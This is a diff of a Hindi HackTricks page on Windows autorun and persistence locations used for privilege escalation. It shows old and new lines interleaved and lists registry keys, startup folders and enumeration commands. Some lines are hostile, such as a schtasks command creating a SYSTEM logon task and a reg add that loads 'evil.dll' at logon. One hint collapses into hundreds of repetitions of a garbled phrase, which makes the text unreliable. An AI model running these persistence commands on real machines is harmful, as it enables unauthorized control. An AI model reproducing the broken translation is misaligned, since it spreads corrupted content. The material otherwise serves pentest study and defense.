<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com)
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटी संग्रह**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा पीआर जमा करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
@ -20,7 +20,7 @@
## WMIC
**Wmic** का उपयोग **स्टार्टअप** पर कार्यक्रम चलाने के लिए किया जा सकता है। देखें कि कौन से बाइनरीज़ स्टार्टअप में चलाने के लिए प्रोग्राम किए गए हैं:
**Wmic** का उपयोग **स्टार्टअप** पर प्रोग्राम चलाने के लिए किया जा सकता है। देखें कि कौन से बाइनरीज़ स्टार्टअप में चलाने के लिए प्रोग्राम किए गए हैं:
```bash
wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
@ -40,7 +40,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
```
## फ़ोल्डर
सभी बाइनरी जो **स्टार्टअप फ़ोल्डर में स्थित होते हैं, स्टार्टअप पर निष्पादित होंगे**। सामान्य स्टार्टअप फ़ोल्डर निम्नलिखित हैं, लेकिन स्टार्टअप फ़ोल्डर रजिस्ट्री में दिखाया जाता है। [यहां पढ़ें जानने के लिए।](privilege-escalation-with-autorun-binaries.md#startup-path)
सभी बाइनरी जो **स्टार्टअप फ़ोल्डर में स्थित होते हैं, स्टार्टअप पर निष्पादित होंगे**। सामान्य स्टार्टअप फ़ोल्डर नीचे सूचीबद्ध हैं, लेकिन स्टार्टअप फ़ोल्डर रजिस्ट्री में दिखाया जाता है। [यहां पढ़ें जानने के लिए।](privilege-escalation-with-autorun-binaries.md#startup-path)
```bash
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@ -71,7 +71,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
रन और रनवन रजिस्ट्री कुंजीयाँ प्रोग्राम को प्रत्येक बार चलाती हैं जब एक उपयोगकर्ता लॉग इन करता है। कुंजी के लिए डेटा मान 260 वर्णों से लंबा नहीं होना चाहिए
रन और रनवन रजिस्ट्री कुंजीयाँ प्रोग्राम को प्रत्येक बार चलाती हैं जब एक उपयोगकर्ता लॉग इन करता है। कुंजी के लिए डेटा मान 260 वर्णों से लंबा नहीं होता है
**सेवा रन्स** (बूट के दौरान सेवाओं की स्वचालित स्टार्टअप को नियंत्रित कर सकते हैं):
@ -89,10 +89,10 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
* `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
* `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
यह विंडोजा विस्टा और नवीनतम पर डिफ़ॉल्ट रूप से नहीं बनाया जाता है। रजिस्ट्री रन कुंजी एंट्रीज़ सीधे प्रोग्राम को संदर्भित कर सकती हैं या उन्हें एक आवश्यकता के रूप में सूचीबद्ध कर सकती हैं। उदाहरण के लिए, एक "डिपेंड" कुंजी का उपयोग करके RunOnceEx का उपयोग करके लॉगऑन पर एक DLL लोड करना संभव है: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
यह विंडोजा विस्टा और नवीनतम पर डिफ़ॉल्ट रूप से नहीं बनाया जाता है। रजिस्ट्री रन कुंजी एंट्रीज़ सीधे प्रोग्राम को संदर्भित कर सकती हैं या उन्हें एक आधारभूतता के रूप में सूचीबद्ध कर सकती हैं। उदाहरण के लिए, एक "डिपेंड" कुंजी का उपयोग करके RunOnceEx का उपयोग करके लॉगऑन पर एक DLL लोड करना संभव है: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
{% hint style="info" %}
**अभिशाप 1**: यदि आप किसी भी उल्लिखित रजिस्ट्री में **HKLM** के अंदर लिख सकते हैं तो आप उच्चतम अवधि में अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि म
**अभिशाप 1**: यदि आप किसी भी उल्लिखित रजिस्ट्री में **HKLM** के अंदर लिख सकते हैं तो आप उच्चतम अवधि में अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्चतम अवधि में उच्च
```bash
#CMD
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@ -158,7 +158,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
किसी भी उपकंठ स्थान के लिए बनाया गया कोई शॉर्टकट लॉगऑन/रीबूट के दौरान सेवा को चालू करेगा। स्टार्टअप स्थान स्थानीय मशीन और वर्तमान उपयोगकर्ता दोनों पर निर्दिष्ट किया जाता है।
{% hint style="info" %}
यदि आप **HKLM** के तहत किसी भी \[उपयोगकर्ता] शैल फ़ोल्डर को अधिलेखित कर सकते हैं, तो आप इसे आपके द्वारा नियंत्रित एक फ़ोल्डर की ओर पहुंचित कर सकते हैं और एक बैकडोर रख सकते हैं जो किसी भी उपयोगकर्ता को सिस्टम में लॉग इन करने पर नियंत्रण को बढ़ाता है
यदि आप किसी भी \[उपयोगकर्ता] शैल फ़ोल्डर को **HKLM** के तहत अधिलेखित कर सकते हैं, तो आप इसे आपके द्वारा नियंत्रित एक फ़ोल्डर की ओर पहुंचित कर सकते हैं और एक बैकडोर रख सकते हैं जो किसी भी उपयोगकर्ता को प्रवेश करने पर नियमित रूप से चलाया जाएगा और विशेषाधिकार को बढ़ाएगा
{% endhint %}
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
@ -215,21 +215,21 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
जानकारी [यहाँ](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell) से प्राप्त की गई है।
{% hint style="info" %}
**अभिकर्म 1:** यदि आप इस रजिस्ट्री कुंजी को संशोधित कर सकते हैं, तो आप अपने बैकडोर को इसे दिखा सकते हैं
**Exploit 1:** यदि आप इस रजिस्ट्री कुंजी को संशोधित कर सकते हैं, तो आप अपने बैकडोर को इसकी ओर पहुंचा सकते हैं
{% endhint %}
{% hint style="info" %}
**अभिकर्म 2 (PATH लेखन अनुमतियाँ)**: यदि आपके पास सिस्टम **PATH** के _C:\Windows\system32_ से पहले किसी भी फ़ोल्डर पर लेखन अनुमति है (या यदि आप इसे बदल सकते हैं), तो आप एक cmd.exe फ़ाइल बना सकते हैं और यदि कोई व्यक्ति सुरक्षित मोड में मशीन को प्रारंभ करता है, तो आपका बैकडोर निष्पादित हो जाएगा।
**Exploit 2 (PATH लेखन अनुमतियाँ)**: यदि आपके पास सिस्टम **PATH** के _C:\Windows\system32_ से पहले किसी भी फ़ोल्डर पर लेखन अनुमति है (या यदि आप इसे बदल सकते हैं), तो आप एक cmd.exe फ़ाइल बना सकते हैं और यदि कोई व्यक्ति सुरक्षित मोड में मशीन को प्रारंभ करता है, तो आपका बैकडोर निष्पादित हो जाएगा।
{% endhint %}
{% hint style="info" %}
**अभिकर्म 3 (PATH लेखन अनुमतियाँ और बूट.इनी लेखन अनुमतियाँ)**: यदि आप बूट.इनी लिख सकते हैं, तो आप अगले रीबूट के लिए सुरक्षित मोड में स्टार्टअप को स्वचालित कर सकते हैं।
**Exploit 3 (PATH लेखन अनुमतियाँ और बूट.इनी लेखन अनुमतियाँ)**: यदि आप बूट.इनी लिख सकते हैं, तो आप अगले रीबूट के लिए सुरक्षित मोड में स्टार्टअप को स्वचालित कर सकते हैं।
{% endhint %}
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'
```
### स्थापित घटक
### स्थापित कंपोनेंट
* `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components`
* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
@ -238,14 +238,14 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co
Active Setup डेस्कटॉप प्रदर्शित होने से पहले चलता है। Active Setup द्वारा शुरू की गई कमांड समकालीन रूप से चलती हैं, जब तक वे कार्यान्वित हो रही होती हैं तब तक लॉगऑन को ब्लॉक करती हैं। Active Setup कोई भी Run या RunOnce रजिस्ट्री प्रविष्टियों की मूल्यांकन करने से पहले निष्पादित होता है।
इन कुंजियों के अंदर आपको और कुंजियाँ मिलेंगी और प्रत्येक के लिए वे कुछ रोचक कुंजी-मान घर करेंगी। सबसे रोचक वाले हैं:
इन कुंजियों के अंदर आपको और कुंजियाँ मिलेंगी और प्रत्येक कुंजी के लिए कुछ रोचक कुंजी-मान मिलेंगे। सबसे रोचक मान निम्नलिखित हैं:
* **IsInstalled:**
* 0: घटक की कमांड नहीं चलेगी।
* 1: घटक की कमांड प्रति उपयोगकर्ता एक बार चलेगी। यह डिफ़ॉल्ट है (यदि IsInstalled मान मौजूद नहीं होता है)।
* 0: कंपोनेंट की कमांड नहीं चलेगी।
* 1: कंपोनेंट की कमांड प्रति उपयोगकर्ता एक बार चलेगी। यह डिफ़ॉल्ट है (यदि IsInstalled मान मौजूद नहीं होता है)।
* **StubPath**
* प्रारूप: कोई भी मान्य कमांड लाइन, जैसे "notepad"
* यह कमांड चलाई जाती है अगर Active Setup निर्धारित करता है कि इस घटक को लॉगऑन के दौरान चलाने की आवश्यकता है।
* यह कमांड चलाई जाती है अगर Active Setup निर्धारित करता है कि इस कंपोनेंट को लॉगऑन के दौरान चलाने की आवश्यकता है।
{% hint style="info" %}
यदि आप _**IsInstalled == "1"**_ वाली किसी भी कुंजी पर लिख सकते हैं और कुंजी **StubPath** को निर्दिष्ट कर सकते हैं, तो आप इसे एक बैकडोर की ओर पहुंचा सकते हैं और विशेषाधिकारों को उन्नत कर सकते हैं। इसके अलावा, यदि आप किसी भी **StubPath** कुंजी द्वारा निर्दिष्ट किसी भी **बाइनरी** को अधिकृत कर सकते हैं, तो आप विशेषाधिकारों को उन्नत कर सकते हैं।
@ -261,9 +261,9 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
एक **ब्राउज़र सहायक ऑब्जेक्ट** (**BHO**) एक DLL मॉड्यूल होता है जो माइक्रोसॉफ्ट के इंटरनेट एक्सप्लोरर वेब ब्राउज़र के लिए एक प्लगइन के रूप में डिज़ाइन किया गया होता है जो अतिरिक्त कार्यक्षमता प्रदान करता है। ये मॉड्यूल हर नए इंटरनेट एक्सप्लोरर और हर नए विंडोज़ एक्सप्लोरर के लिए निष्पादित किए जाते हैं। हालांकि, एक BHO को निष्पादित किया जा सकता है कि प्रत्येक एक्सप्लोरर इंस्टेंस द्वारा निष्पादित न हो, जब क**NoExplorer** को 1 करके
एक **ब्राउज़र सहायक ऑब्जेक्ट** (**BHO**) एक DLL मॉड्यूल होता है जो माइक्रोसॉफ्ट के इंटरनेट एक्सप्लोरर वेब ब्राउज़र के लिए एक प्लगइन के रूप में डिज़ाइन किया गया है जो अतिरिक्त कार्यक्षमता प्रदान करता है। ये मॉड्यूल हर नए इंटरनेट एक्सप्लोरर और हर नए विंडोज़ एक्सप्लोरर के लिए निष्पादित किए जाते हैं। हालांकि, एक BHO को निष्पादित किया जा सकता है ताकि प्रत्येक एक्सप्लोरर इंस्टेंस द्वारा निष्पादित न हो, जब कुंजी **NoExplorer** को 1 सेट किया जाता है
BHOs अभी भी Windows 10 के साथ, इंटरनेट एक्सप्लोरर 11 के माध्यम से समर्थित हैं, जबकि BHOs माइक्रोसॉफ्ट एज नामक डिफ़ॉल्ट वेब ब्राउज़र में समर्थित नहीं हैं।
BHOs अभी भी Windows 10 के साथ, इंटरनेट एक्सप्लोरर 11 के माध्यम से समर्थित हैं, जबकि BHOs को मूल वेब ब्राउज़र माइक्रोसॉफ्ट एज में समर्थित नहीं हैं।
```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
@ -299,18 +299,16 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\she
```
### छवि फ़ाइल क्रियान्वयन विकल्प
छवि फ़ाइल क्रियान्वयन विकल्प (Image File Execution Options) विंडोज ऑपरेटिंग सिस्टम में एक विशेषता है जो एक प्रोसेस को चालू करने से पहले एक बाइनरी फ़ाइल को स्वचालित रूप से चलाने की अनुमति देती है। यह विशेषता उपयोगकर्ता द्वारा निर्दिष्ट बाइनरी फ़ाइलों के लिए विशेष व्यवहार सेट करने की अनुमति देती है।
छवि फ़ाइल क्रियान्वयन विकल्प (Image File Execution Options) एक विंडोज रजिस्ट्री कुंजी है जो एक प्रक्रिया को चालू करने से पहले एक बाइनरी फ़ाइल को स्वचालित रूप से चलाने की अनुमति देती है। यह विशेषता विंडोज विकसितकर्ताओं द्वारा विकसित और टेस्ट किए जाने वाले ऐप्लिकेशन्स के लिए उपयोगी होती है, जहां वे ऐप्लिकेशन के विकास के दौरान बाइनरी को स्वचालित रूप से चलाने के लिए इस्तेमाल की जाती है।
यह विशेषता एक अद्यतित रखरखाव या अनुकरण के लिए उपयोगी हो सकती है, लेकिन इसका दुरुपयोग भी हो सकता है। हैकर्स इस विशेषता का उपयोग करके अपने लक्ष्य को प्राथमिकता देने के लिए अपने बाइनरी फ़ाइलों को स्वचालित रूप से चलाने की कोशिश कर सकते हैं। इसके लिए, हैकर्स एक बाइनरी फ़ाइल को छवि फ़ाइल क्रियान्वयन विकल्प में जोड़ते हैं और उसे एक अद्यतित बाइनरी फ़ाइल के रूप में सेट करते हैं। जब उपयोगकर्ता या सिस्टम एक प्रोसेस को चालू करता है जिसका नाम छवि फ़ाइल क्रियान्वयन विकल्प में निर्दिष्ट किया गया है, तो यह बाइनरी फ़ाइल स्वचालित रूप से चलाया जाएगा।
छवि फ़ाइल क्रियान्वयन विकल्प का उपयोग करके लोकल प्रिविलेज एस्केलेशन अटैक किया जा सकता है, जिससे हैकर्स को उच्चतम स्तर की अनुमति प्राप्त करने में मदद मिलती है। इसलिए, सुरक्षा उद्योग के लिए महत्वपूर्ण है कि छवि फ़ाइल क्रियान्वयन विकल्प को सुरक्षित रखा जाए और अनधिकृत उपयोग से बचा जाए।
एक हैकर के लिए, छवि फ़ाइल क्रियान्वयन विकल्प एक उपयोगी टूल हो सकती है जो लोकल प्रिविलेज उन्नयन के लिए उपयोग किया जा सकता है। हैकर इस विशेषता का उपयोग करके एक बाइनरी फ़ाइल को चलाने के लिए एक अनुप्रयोग को चुन सकता है, जिससे उन्हें उस अनुप्रयोग के संदर्भ में उच्चतम स्तर के अनुमतियाँ प्राप्त हो सकती हैं। इसके लिए, हैकर को रजिस्ट्री में छवि फ़ाइल क्रियान्वयन विकल्प को संशोधित करने की आवश्यकता होती है और उच्चतम स्तर की अनुमतियों को सेट करने के लिए एक बाइनरी फ़ाइल का चयन करना होता है। इस तरह, हैकर लोकल प्रिविलेज उन्नयन प्राप्त कर सकता है और सिस्टम में अधिकतम नियंत्रण प्राप्त कर सकता है।
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
```
## SysInternals
ध्यान दें कि सभी साइट जहां आप ऑटोरन्स ढूंढ सकते हैं, **पहले से ही खोजी जा चुकी हैं** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) द्वारा। हालांकि, एक **और व्यापक सूची के लिए** ऑटो-चलाए जाने वाले फ़ाइलों के लिए आप [सिस्टर्नल्स](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) से [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) का उपयोग कर सकते हैं:
ध्यान दें कि वह सभी साइट जहां आप autoruns पा सकते हैं, **पहले से ही खोजी जा चुकी हैं**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). हालांकि, एक **और व्यापक सूची के लिए** ऑटो-चलाया जाने वाला फ़ाइल, आप सिस्टर्नल्स का उपयोग कर सकते हैं: [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)
```
autorunsc.exe -m -nobanner -a * -ct /accepteula
```
@ -324,7 +322,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी चाहिए_).
@ -334,10 +332,10 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहेंगे? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहेंगे? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहेंगे या HackTricks को PDF में डाउनलोड करना चाहेंगे**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**
* **अपने हैकिंग ट्रिक्स को हमें PR के माध्यम से सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को साझा करें**
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को हमें PR के माध्यम से सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को साझा करें**
</details>